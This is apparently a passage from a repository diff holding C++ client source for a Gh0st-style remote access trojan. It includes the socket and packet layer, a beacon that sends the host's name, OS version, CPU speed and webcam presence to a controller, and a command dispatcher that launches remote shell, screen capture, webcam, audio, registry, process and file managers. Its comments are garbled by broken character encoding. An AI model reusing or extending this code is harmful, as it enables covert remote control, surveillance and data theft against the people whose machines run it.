FILE_ATTRIBUTE_NORMAL,
0
);
// <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (hFile == INVALID_HANDLE_VALUE)
{
m_OperatingFileLength = 0;
return;
}
CloseHandle(hFile);
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
}

44
client/FileManager.h Normal file
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@@ -0,0 +1,44 @@
// FileManager.h: interface for the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
#define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "IOCPClient.h"
typedef struct
{
DWORD dwSizeHigh;
DWORD dwSizeLow;
}FILE_SIZE;
class CFileManager : public CManager
{
public:
CFileManager(IOCPClient* ClientObject, int n);
virtual ~CFileManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
ULONG CFileManager::SendDiskDriverList() ;
ULONG CFileManager::SendFilesList(char* szDirectoryPath);
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer);
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
char m_szOperatingFileName[MAX_PATH];
__int64 m_OperatingFileLength;
VOID CFileManager::GetFileData() ;
VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength);
ULONG m_ulTransferMode;
VOID CFileManager::SetTransferMode(LPBYTE szBuffer);
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath);
};
#endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)

364
client/IOCPClient.cpp Normal file
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@@ -0,0 +1,364 @@
// IOCPClient.cpp: implementation of the IOCPClient class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "IOCPClient.h"
#include <IOSTREAM>
#include "zconf.h"
#include "zlib.h"
#include <assert.h>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
VOID IOCPClient::setManagerCallBack(class CManager* Manager)
{
m_Manager = Manager;
}
IOCPClient::IOCPClient(bool exit_while_disconnect)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
m_sClientSocket = INVALID_SOCKET;
m_hWorkThread = NULL;
m_bWorkThread = S_STOP;
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
m_bIsRunning = TRUE;
m_bConnected = FALSE;
InitializeCriticalSection(&m_cs);
m_exit_while_disconnect = exit_while_disconnect;
}
IOCPClient::~IOCPClient()
{
m_bIsRunning = FALSE;
if (m_sClientSocket!=INVALID_SOCKET)
{
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
}
if (m_hWorkThread!=NULL)
{
CloseHandle(m_hWorkThread);
m_hWorkThread = NULL;
}
WSACleanup();
while (S_RUN == m_bWorkThread)
Sleep(10);
Sleep(5000);
DeleteCriticalSection(&m_cs);
m_bWorkThread = S_END;
}
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
{
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_sClientSocket == SOCKET_ERROR)
{
return FALSE;
}
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
ServerAddr.sin_port = htons(uPort);
ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP);
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
{
if (m_sClientSocket!=INVALID_SOCKET)
{
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
}
return FALSE;
}
const int chOpt = 1; // True
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
(char *)&chOpt, sizeof(chOpt)) == 0)
{
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
tcp_keepalive klive;
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
klive.keepalivetime = 1000 * 60 * 3; // 3<><33><EFBFBD>ӳ<EFBFBD>ʱ Keep Alive
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
NULL, 0,(unsigned long *)&chOpt,0,NULL);
}
if (m_hWorkThread == NULL){
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
}
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n";
m_bConnected = TRUE;
return TRUE;
}
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
{
IOCPClient* This = (IOCPClient*)lParam;
char szBuffer[MAX_RECV_BUFFER] = {0};
fd_set fd;
const struct timeval tm = { 2, 0 };
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
{
if(!This->IsConnected())
{
Sleep(50);
continue;
}
FD_ZERO(&fd);
FD_SET(This->m_sClientSocket, &fd);
int iRet = select(NULL, &fd, NULL, NULL, &tm);
if (iRet <= 0)
{
if (iRet == 0) Sleep(50);
else
{
printf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(This->m_exit_while_disconnect)
break;
}
}
else if (iRet > 0)
{
memset(szBuffer, 0, sizeof(szBuffer));
int iReceivedLength = recv(This->m_sClientSocket,
szBuffer,sizeof(szBuffer), 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (iReceivedLength <= 0)
{
int a = GetLastError();
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(This->m_exit_while_disconnect)
break;
}else{
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
This->OnServerReceiving((char*)szBuffer, iReceivedLength);
}
}
}
This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE;
return 0xDEAD;
}
VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
{
try
{
assert (ulLength > 0);
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
{
char szPacketFlag[FLAG_LENGTH] = {0};
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
{
throw "Bad Buffer";
}
ULONG ulPackTotalLength = 0;
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH),
sizeof(ULONG));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
if (ulPackTotalLength &&
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
{
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
ULONG ulOriginalLength = 0;
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
//50
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
int iRet = uncompress(DeCompressedBuffer,
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (iRet == Z_OK)//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{
m_DeCompressedBuffer.ClearBuffer();
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
ulOriginalLength);
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
m_DeCompressedBuffer.GetBufferLength());
}
else
throw "Bad Buffer";
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
}
else
break;
}
}catch(...)
{
m_CompressedBuffer.ClearBuffer();
}
}
int IOCPClient::OnServerSending(char* szBuffer, ULONG ulOriginalLength) //Hello
{
m_WriteBuffer.ClearBuffer();
if (ulOriginalLength > 0)
{
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
//<2F><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>// HelloWorld 10 22
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 ΢<><CEA2><EFBFBD>
//nSize = 436
//destLen = 448
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (iRet != Z_OK)
{
delete [] CompressedBuffer;
return FALSE;
}
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag));
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
// 5 4
//[Shine][ 30 ]
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
// 5 4 4
//[Shine][ 30 ][5]
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
delete [] CompressedBuffer;
CompressedBuffer = NULL;
}
// <20>ֿ鷢<D6BF><E9B7A2>
//shine[0035][0010][HelloWorld+12]
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
MAX_SEND_BUFFER);
}
// 5 2 // 2 2 1
BOOL IOCPClient::SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
{
//1025
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
const char* Travel = (char *)szBuffer;
int i = 0;
ULONG ulSended = 0;
ULONG ulSendRetry = 15;
// <20><><EFBFBD>η<EFBFBD><CEB7><EFBFBD>
for (i = ulLength; i >= ulSplitLength; i -= ulSplitLength)
{
int j = 0;
for (; j < ulSendRetry; j++)
{
iReturn = send(m_sClientSocket, Travel, ulSplitLength,0);
if (iReturn > 0)
{
break;
}
}
if (j == ulSendRetry)
{
return FALSE;
}
ulSended += iReturn;
Travel += ulSplitLength;
Sleep(15); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
if (i>0) //1024
{
int j = 0;
for (; j < ulSendRetry; j++) //nSendRetry = 15
{
iReturn = send(m_sClientSocket, (char*)Travel,i,0);
Sleep(15);
if (iReturn > 0)
{
break;
}
}
if (j == ulSendRetry)
{
return FALSE;
}
ulSended += iReturn; //0+=1000
}
if (ulSended == ulLength)
{
return TRUE;
}
else
{
return FALSE;
}
}
VOID IOCPClient::Disconnect()
{
std::cout<<"<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
CancelIo((HANDLE)m_sClientSocket);
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
m_bConnected = FALSE;
}
VOID IOCPClient::RunEventLoop()
{
OutputDebugStringA("======> RunEventLoop begin\n");
while (m_bIsRunning) Sleep(200);
OutputDebugStringA("======> RunEventLoop end\n");
}

69
client/IOCPClient.h Normal file
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// IOCPClient.h: interface for the IOCPClient class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <WinSock2.h>
#include <Windows.h>
#include <MSTcpIP.h>
#include "Buffer.h"
#include "Manager.h"
#pragma comment(lib,"ws2_32.lib")
#define MAX_RECV_BUFFER 1024*8
#define MAX_SEND_BUFFER 1024*8
#define FLAG_LENGTH 5
#define HDR_LENGTH 13
enum { S_STOP = 0, S_RUN, S_END };
class IOCPClient
{
public:
IOCPClient(bool exit_while_disconnect = false);
virtual ~IOCPClient();
SOCKET m_sClientSocket;
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
int OnServerSending(char* szBuffer, ULONG ulOriginalLength);
BOOL SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL IsRunning() const
{
return m_bIsRunning;
}
BOOL m_bIsRunning;
BOOL m_bConnected;
CBuffer m_WriteBuffer;
CBuffer m_CompressedBuffer;
CBuffer m_DeCompressedBuffer;
char m_szPacketFlag[FLAG_LENGTH];
VOID setManagerCallBack(class CManager* Manager);
VOID Disconnect();
VOID RunEventLoop();
bool IsConnected() const { return m_bConnected; }
public:
class CManager* m_Manager;
CRITICAL_SECTION m_cs;
bool m_exit_while_disconnect;
};
#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)

135
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// KernelManager.cpp: implementation of the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "KernelManager.h"
#include "Common.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
{
memset(m_hThread, NULL, sizeof(ThreadInfo) * 0x1000);
m_ulThreadCount = 0;
}
CKernelManager::~CKernelManager()
{
int i = 0;
for (i=0;i<0x1000;i++)
{
if (m_hThread->h!=0)
{
CloseHandle(m_hThread[i].h);
m_hThread[i].h = NULL;
}
}
m_ulThreadCount = 0;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true);
m_hThread[m_ulThreadCount].p = pNew;
switch(szBuffer[0])
{
case COMMAND_TALK:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopTalkManager,
pNew, 0, NULL);;
break;
}
case COMMAND_SHELL:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopShellManager,
pNew, 0, NULL);;
break;
}
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)LoopProcessManager,
pNew, 0, NULL);;
break;
}
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopWindowManager,
pNew, 0, NULL);;
break;
}
case COMMAND_BYE:
{
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1);
break;
}
case COMMAND_SCREEN_SPY:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopScreenManager,
pNew, 0, NULL);;
break;
}
case COMMAND_LIST_DRIVE :
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopFileManager,
pNew, 0, NULL);;
break;
}
case COMMAND_WEBCAM:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopVideoManager,
pNew, 0, NULL);;
break;
}
case COMMAND_AUDIO:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopAudioManager,
pNew, 0, NULL);;
break;
}
case COMMAND_REGEDIT:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
pNew, 0, NULL);;
break;
}
case COMMAND_SERVICES:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopServicesManager,
pNew, 0, NULL);
break;
}
default:
{
OutputDebugStringA("======> Error operator\n");
m_hThread[m_ulThreadCount].p = NULL;
delete pNew;
pNew = NULL;
break;
}
}
}

34
client/KernelManager.h Normal file
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// KernelManager.h: interface for the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
#define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include <vector>
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>
struct ThreadInfo
{
HANDLE h;
IOCPClient *p;
ThreadInfo() : h(NULL), p(NULL){ }
};
class CKernelManager : public CManager
{
public:
CKernelManager(IOCPClient* ClientObject);
virtual ~CKernelManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
ThreadInfo m_hThread[0x1000];
ULONG m_ulThreadCount;
};
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)

66
client/LoginServer.cpp Normal file
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#include "StdAfx.h"
#include "LoginServer.h"
#include "Common.h"
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
{
LOGIN_INFOR LoginInfor = {0};
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD>PCName
char szPCName[MAX_PATH] = {0};
gethostname(szPCName, MAX_PATH);
//<2F><><EFBFBD><EFBFBD>ClientIP
sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr));
int iLen = sizeof(sockaddr_in);
getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen);
DWORD dwCPUMHz;
dwCPUMHz = CPUClockMHz();
BOOL bWebCamIsExist = WebCamIsExist();
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
LoginInfor.dwSpeed = dwSpeed;
LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.ClientAddr = ClientAddr.sin_addr;
LoginInfor.bWebCamIsExist = bWebCamIsExist;
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
return iRet;
}
DWORD CPUClockMHz()
{
HKEY hKey;
DWORD dwCPUMHz;
DWORD dwReturn = sizeof(DWORD);
DWORD dwType = REG_DWORD;
RegOpenKey(HKEY_LOCAL_MACHINE,
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
RegCloseKey(hKey);
return dwCPUMHz;
}
BOOL WebCamIsExist()
{
BOOL bOk = FALSE;
char szDeviceName[100], szVer[50];
for (int i = 0; i < 10 && !bOk; i++)
{
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
//ϵͳ<CFB5><CDB3>API<50><49><EFBFBD><EFBFBD>
szVer, sizeof(szVer));
}
return bOk;
}

21
client/LoginServer.h Normal file
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#pragma once
#include "IOCPClient.h"
#include <Vfw.h>
#pragma comment(lib,"Vfw32.lib")
typedef struct _LOGIN_INFOR
{
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ
DWORD dwCPUMHz; // CPU<50><55>Ƶ
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGIN_INFOR,*PLOGIN_INFOR;
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
DWORD CPUClockMHz();
BOOL WebCamIsExist();

39
client/Manager.cpp Normal file
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// Manager.cpp: implementation of the CManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Manager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(IOCPClient* ClientObject)
{
m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this);
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
}
CManager::~CManager()
{
if (m_hEventDlgOpen!=NULL)
{
CloseHandle(m_hEventDlgOpen);
m_hEventDlgOpen = NULL;
}
}
VOID CManager::WaitForDialogOpen()
{
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep,<2C><>ΪԶ<CEAA>̴<EFBFBD><CCB4>ڴ<EFBFBD>InitDialog<6F>з<EFBFBD><D0B7><EFBFBD>COMMAND_NEXT<58><54><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>Ҫһ<D2AA><D2BB>ʱ<EFBFBD><CAB1>
Sleep(150);
}
VOID CManager::NotifyDialogIsOpen()
{
SetEvent(m_hEventDlgOpen);
}

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client/Manager.h Normal file
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// Manager.h: interface for the CManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
#define AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "IOCPClient.h"
class IOCPClient;
class CManager
{
public:
CManager(IOCPClient* ClientObject);
virtual ~CManager();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength){}
IOCPClient* m_ClientObject;
HANDLE m_hEventDlgOpen;
VOID WaitForDialogOpen();
VOID NotifyDialogIsOpen();
int Send(LPBYTE lpData, UINT nSize);
};
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)

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// RegisterManager.cpp: implementation of the CRegisterManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "RegisterManager.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
m_ClientObject->OnServerSending((char*)&bToken, 1);
}
CRegisterManager::~CRegisterManager()
{
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>"<<endl;
}
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0])
{
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(ulLength>3){
Find(szBuffer[1],(char*)(szBuffer+2));
}else{
Find(szBuffer[1],NULL); //Root<6F><74><EFBFBD><EFBFBD>
}
break;
default:
break;
}
}
VOID CRegisterManager::Find(char bToken, char *szPath)
{
RegisterOperation Opt(bToken);
if(szPath!=NULL)
{
Opt.SetPath(szPath);
}
char *szBuffer= Opt.FindPath();
if(szBuffer!=NULL)
{
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
LocalFree(szBuffer);
}
szBuffer = Opt.FindKey();
if(szBuffer!=NULL)
{
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
}

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// RegisterManager.h: interface for the CRegisterManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
